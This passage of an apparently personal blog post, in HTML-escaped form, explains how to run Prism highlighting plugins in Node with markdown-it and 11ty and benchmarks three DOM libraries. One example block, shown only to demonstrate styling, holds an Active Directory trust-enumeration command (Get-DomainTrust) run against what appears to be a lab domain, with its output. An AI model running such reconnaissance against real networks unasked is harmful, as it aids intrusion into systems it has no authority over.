&lt;/span&gt;&lt;span class=&quot;token deleted-sign deleted language-js&quot;&gt;&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;lt;pre&amp;gt;&amp;lt;code&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;slf&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;renderAttrs&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;tmpToken&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;highlighted&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;lt;/code&amp;gt;&amp;lt;/pre&amp;gt;&#92;n&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token unchanged language-js&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;// 4&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token inserted-sign inserted language-js&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;lt;pre&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;slf&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;renderAttrs&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;token&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;gt;&amp;lt;code&amp;gt;&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;escaped&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;lt;/code&amp;gt;&amp;lt;/pre&amp;gt;&#92;n&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token deleted-sign deleted language-js&quot;&gt;&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;lt;pre&amp;gt;&amp;lt;code&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;slf&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;renderAttrs&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;token&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;highlighted&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;lt;/code&amp;gt;&amp;lt;/pre&amp;gt;&#92;n&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token unchanged language-js&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;JavaScript&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;p&gt;If you&#39;re using an &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;server-side rendering, e.g. NextJS&quot;&gt;SSR&lt;/abbr&gt; framework or &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;static site generator&quot;&gt;SSG&lt;/abbr&gt;, you&#39;ll need to first access the MarkdownIt object.&lt;/p&gt;
&lt;p&gt;In 11ty, for instance, we can access it like so:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;eleventy.config.js&quot; class=&quot;language-js&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;eleventyConfig&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;amendLibrary&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;md&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token parameter&quot;&gt;mdLib&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  mdLib&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;renderer&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;rules&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function-variable function&quot;&gt;fence&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;...&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;...&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;eleventy.config.js&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;JavaScript&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id=&quot;step-3-use-markdown-it-attrs&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/prism-plugins-in-node/#step-3-use-markdown-it-attrs&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Step 3: Use &lt;code&gt;markdown-it-attrs&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;To add attributes to your codeblocks, introduce &lt;a href=&quot;https://github.com/arve0/markdown-it-attrs/&quot;&gt;&lt;code&gt;markdown-it-attrs&lt;/code&gt;&lt;/a&gt; to your MarkdownIt object.&lt;/p&gt;
&lt;p&gt;You can now add attributes and classes to your codeblocks which will then be parsed by Prism.&lt;/p&gt;
&lt;p&gt;For instance, this:&lt;/p&gt;
&lt;pre class=&quot;language-md&quot;&gt;
&lt;code&gt;```js {data-label=hello.js .inspect-me-lol}
function hello() {
  console.log(&quot;Hello world!&quot;);
}
```&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;becomes:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;hello.js&quot; class=&quot;inspect-me-lol language-js&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;hello&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Hello world!&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;hello.js&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;JavaScript&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;alert alert-warning d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-triangle-exclamation ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;In 11ty, &lt;code&gt;markdown-it-attrs&lt;/code&gt; is incompatible with &lt;code&gt;eleventy-plugin-syntaxhighlight&lt;/code&gt; due to the way codeblocks are parsed.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;step-4-optional-modify-plugins&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/prism-plugins-in-node/#step-4-optional-modify-plugins&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Step 4: (Optional) Modify Plugins&lt;/h2&gt;
&lt;p&gt;With those two changes, we have all we need to start importing fancy plugins!&lt;/p&gt;
&lt;p&gt;In case you wish to fine-tune some plugins, you can always copy them into your local project and modify them directly! Some changes I made were:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;modding &lt;code&gt;line-numbers&lt;/code&gt; for compatibility with &lt;code&gt;command-line&lt;/code&gt; and &lt;code&gt;diff&lt;/code&gt; (Yes, this doesn&#39;t really make sense, but who knows if I&#39;ll need it in the future?)&lt;/li&gt;
&lt;li&gt;modding &lt;code&gt;show-language&lt;/code&gt; to display the base language when the highlight language is &lt;code&gt;diff-*&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can also add custom attributes with some simple CSS! For instance, I added a CSS class which hides the command-line prompt when a &lt;code&gt;data-rw-prompt&lt;/code&gt; attribute is specified.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/prism-plugins-in-node/#fn6&quot; id=&quot;fnref6&quot;&gt;6&lt;/a&gt;&lt;/sup&gt; This is useful for long prompts, which may cover the entire screen&#39;s width when scrolling on a phone.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-css&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;token atrule&quot;&gt;&lt;span class=&quot;token rule&quot;&gt;@media&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token property&quot;&gt;max-width&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 576px&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;/* rw-prompt: response width prompt */&lt;/span&gt;
    &lt;span class=&quot;token selector&quot;&gt;pre[data-rw-prompt] .command-line-prompt&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;display&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; none&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;CSS&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;And here it is in action on some notes. Try viewing on both mobile and computer (or use your browser DevTools).&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;command-line language-powershell&quot; data-rw-prompt=&quot;&quot; data-prompt=&quot;PS C:&#92;Users&#92;Bob&gt;&quot; data-output=&quot;2-100&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-powershell&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;PS C:&#92;Users&#92;Bob&gt;&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;Get-DomainTrust&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;domain dollarcorp&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;moneycorp&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;local&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;SourceName      : dollarcorp.moneycorp.local&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;TargetName      : moneycorp.local&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;TrustType       : WINDOWS_ACTIVE_DIRECTORY&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;TrustAttributes : WITHIN_FOREST&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;TrustDirection  : Bidirectional&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;WhenCreated     : 11/12/2022 5:59:01 AM&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;WhenChanged     : 9/25/2024 10:12:06 PM&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;PowerShell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id=&quot;benchmarking-dom-libraries&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/prism-plugins-in-node/#benchmarking-dom-libraries&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Benchmarking DOM Libraries&lt;/h2&gt;
&lt;p&gt;Understandably, one major bottleneck in our strategy is DOM manipulation. A suitable library needs to parse HTML fragments, manipulate DOM elements, and create new ones.&lt;/p&gt;
&lt;p&gt;Although I originally selected JSDOM in my quick-n-dirty hack for its popularity, I later switched to domino for a significant (2x!) speedup. This is based on a simple benchmark, which compares the three most popular(?) NodeJS DOM-manipulation libraries: &lt;a href=&quot;https://www.npmjs.com/package/jsdom&quot;&gt;JSDOM&lt;/a&gt;, &lt;a href=&quot;https://www.npmjs.com/package/domino&quot;&gt;domino&lt;/a&gt;, and &lt;a href=&quot;https://www.npmjs.com/package/linkedom&quot;&gt;LinkeDOM&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Benchmark of time to render the ~400 codeblocks on this site with JSDOM, domino, and LinkeDOM.&quot; href=&quot;https://trebledj.me/img/posts/programming/mini-projects/prism-plugins-in-node/assets/dom-benchmark-800w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-60 alpha-imgv&quot; src=&quot;https://trebledj.me/img/posts/programming/mini-projects/prism-plugins-in-node/assets/dom-benchmark-800w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 800 / 800&quot; alt=&quot;Benchmark of time to render the ~400 codeblocks on this site with JSDOM, domino, and LinkeDOM.&quot; title=&quot;Benchmark of time to render the ~400 codeblocks on this site with JSDOM, domino, and LinkeDOM.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/mini-projects/prism-plugins-in-node/assets/dom-benchmark-256w.webp 256w, https://trebledj.me/img/posts/programming/mini-projects/prism-plugins-in-node/assets/dom-benchmark-512w.webp 512w, https://trebledj.me/img/posts/programming/mini-projects/prism-plugins-in-node/assets/dom-benchmark-800w.webp 800w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 800px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Benchmark of time to render the ~400 codeblocks on this site with JSDOM, domino, and LinkeDOM. Lower time = faster.&lt;/sup&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Library&lt;/th&gt;
&lt;th&gt;Mean (ms)&lt;/th&gt;
&lt;th&gt;Min. (ms)&lt;/th&gt;
&lt;th&gt;Max. (ms)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;JSDOM&lt;/td&gt;
&lt;td&gt;583&lt;/td&gt;
&lt;td&gt;492&lt;/td&gt;
&lt;td&gt;1007&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;domino&lt;/td&gt;
&lt;td&gt;265&lt;/td&gt;
&lt;td&gt;227&lt;/td&gt;
&lt;td&gt;477&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LinkeDOM&lt;/td&gt;
&lt;td&gt;280&lt;/td&gt;
&lt;td&gt;214&lt;/td&gt;
&lt;td&gt;666&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;details&gt;&lt;summary&gt;Benchmark Details and CLI Output&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;The benchmark was run on a MacBook Air with a 1.6 GHz Intel Core i5 processor and 8 GB 2133 MHz LPDDR3 RAM. Benchmark code can be found &lt;a href=&quot;https://github.com/TrebledJ/trebledj.github.io/tree/1f1163a022738da81f6a83f06dceb793c68e856d/eleventy/benchmarks/codeblocks#readme&quot;&gt;&lt;em&gt;here&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;command-line language-shell&quot; data-prompt=&quot;$&quot; data-output=&quot;2-100&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-shell&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;node&lt;/span&gt; eleventy/benchmarks/codeblocks&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Running: JSDOM&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;[auto] Target 199 runs (~604ms/run) in 120s.&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt; --- [JSDOM] ---&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt; - 199 runs&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt; - mean: µ=582.964ms / σ=70.796ms&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt; - minmax: 491.888ms / 1007.477ms&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Running: domino&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;[auto] Target 454 runs (~264ms/run) in 120s.&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt; --- [domino] ---&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt; - 454 runs&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt; - mean: µ=265.399ms / σ=42.418ms&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt; - minmax: 226.817ms / 476.795ms&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Running: LinkeDOM&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;[auto] Target 444 runs (~270ms/run) in 120s.&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt; --- [LinkeDOM] ---&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt; - 444 runs&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt; - mean: µ=279.861ms / σ=69.691ms&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt; - minmax: 214.418ms / 666.151ms&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Shell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;p&gt;Moreover, domino has 0 dependencies — it&#39;s basically written from the ground up! JSDOM has 21 dependencies. A lower number of dependencies reduces the attack surface of an application; and with increasing reports of &lt;a href=&quot;https://trebledj.me/posts/twelve-days-to-secure-your-systems/#software-components-and-the-supply-chain&quot;&gt;supply chain attacks&lt;/a&gt;, it&#39;s good to limit such risks.&lt;/p&gt;
&lt;div class=&quot;alert alert-warning d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-triangle-exclamation ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;Small update: In a funny twist of events, while I did end up choosing domino initially, I switched over to JSDOM later on. This is because I wanted to use the &lt;code&gt;prism-keep-markup&lt;/code&gt; plugin to be able to apply &lt;code&gt;&amp;lt;mark&amp;gt;&lt;/code&gt; highlighting inside code blocks. Under the hood, the plugin requires &lt;code&gt;document.createRange&lt;/code&gt; which domino&#39;s API sadly does not provide. This is a temporary solution; which is to say, I was lazy and didn&#39;t want this roadblock to eat up too much time. I may or may not look towards handrolling/simulating &lt;code&gt;document.createRange&lt;/code&gt; with a custom function. If you have an alternative, I would welcome it.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;final-remarks&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/prism-plugins-in-node/#final-remarks&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Final Remarks&lt;/h2&gt;
&lt;p&gt;I&#39;ll be the first to admit — this is a rather crude hack with some loose ends.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/prism-plugins-in-node/#fn7&quot; id=&quot;fnref7&quot;&gt;7&lt;/a&gt;&lt;/sup&gt; But it works! Not to mention, it looks nice with enough CSS! And to some that&#39;s all that matters.&lt;/p&gt;
&lt;p&gt;For those interested in the code, you can check it out here:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/TrebledJ/trebledj.github.io/blob/e110c1861f566907019f4384b3eb5d7d7861ccc0/eleventy/detail/markdown-it/markdown-it-prism-adapter.js&quot;&gt;module&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/TrebledJ/trebledj.github.io/blob/e110c1861f566907019f4384b3eb5d7d7861ccc0/eleventy/markdown.js#L74-L88&quot;&gt;example usage&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Just copy the module into your build and load it.&lt;/p&gt;
&lt;p&gt;Here are a few other customisations to plugins I made.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;copy-to-clipboard: &lt;a href=&quot;https://github.com/TrebledJ/trebledj.github.io/blob/e110c1861f566907019f4384b3eb5d7d7861ccc0/eleventy/detail/prism/prism-copy-to-clipboard.js&quot;&gt;plugin&lt;/a&gt; / &lt;a href=&quot;https://github.com/TrebledJ/trebledj.github.io/blob/e110c1861f566907019f4384b3eb5d7d7861ccc0/assets/js.bundle/common/prism-copy-to-clipboard.js&quot;&gt;js&lt;/a&gt; / &lt;a href=&quot;https://github.com/TrebledJ/trebledj.github.io/blob/e110c1861f566907019f4384b3eb5d7d7861ccc0/assets/css/prism/prism-custom.css&quot;&gt;css&lt;/a&gt;&lt;/li&gt;
